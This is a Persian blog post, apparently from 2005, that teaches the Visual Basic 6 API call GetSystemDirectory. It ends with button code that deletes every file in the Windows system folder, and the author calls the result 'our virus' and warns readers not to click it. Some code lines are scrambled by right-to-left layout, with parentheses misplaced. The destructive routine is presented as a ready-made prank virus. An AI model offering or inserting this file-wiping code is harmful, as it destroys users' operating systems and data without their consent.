تبلیغات
بر فراز اینتر نت

بر فراز اینتر نت

سلام بعد از مدتها که بدلیل شروع مدارس مطلب نم گذاشتم امروز خیال دارم علاوه بر معرفی یکی از توابع بسیار بسیار مهم در یکی ازکاربرد های اون رو هم به صورت مختصر توضیح بدمVb6

تابعی که در موردش صحبت میکنم GetSystemDirectoryاز کتابخانهkernel32.dllمی باشد

این تابع کارش اینه که آدرس پوشه سیستم ویندوز رو به ما میده که این آدرس در نسخه های مختلف ویندوز

متفاوت است مثلا در ویندوز های ۹۸و۹۵این آدرس در پوشه ویندوز با نامSystem است ولی در ویندوز ایکس پی این پوشه System۳۲نام دارد

خوب حالا از همه اینها بگذریم و بریم سراغ استفاده از اون .

برا استفاده از این تابع باید ابتدا اون رو در یک ماژول یا در قسمت جنرال فرم معرفی کنیم که معرفی اون بدین صورته:

Declare Function GetSystemDirectory Lib "kernel32.dll" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

در این تابع lpBuffer آدرس رو برمیگردونه وnSize اندازه اونو مشخص میکنه

-----------------------

پس از معرفی تابع حال نوبت استفاده از اونه

۱-یک پروژه جدید ایجاد کنید و یک ماژول نیز به اون اضافه کنید

۲-کد های زیر رو در ماژول وارد کنید:

Declare Function GetSystemDirectory Lib "kernel32.dll" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

۳-یک باتن (دکمه) به فرم خود اضافه کنید و در رویداد کلیک اون کد های زیر رو وارد کنید:

()Private Sub Command1_Click

Dim sysdir As String * 255

Dim slength As Long

(sysdir = Space(255

(slength = GetSystemDirectory(sysdir, 255

(sysdir = Left(sysdir, slength

v = sysdir

("*.*" & Kill (v 

End Sub

خیلی خوب اگه این کار هار و انجام دادید حالا ویروس ما آماده است.

برنامه رو اجرا کنید ولی کلید رو نزنید چون خیلی بد میشه.

 



ادامه مطلب

طبقه بندی: برنامه نویسی، 
نوشته شده در تاریخ دوشنبه 18 مهر 1384 توسط حسین برمکی
درباره وبلاگ

سلام من حسین برمکی ساکن شهرستان دیلم و دانشجوی مهندسی مکانیک سیالات دانشگاه خلیج فارس هستم.
-------------------
پست الکترونیک
تماس با مدیر
RSS
ATOM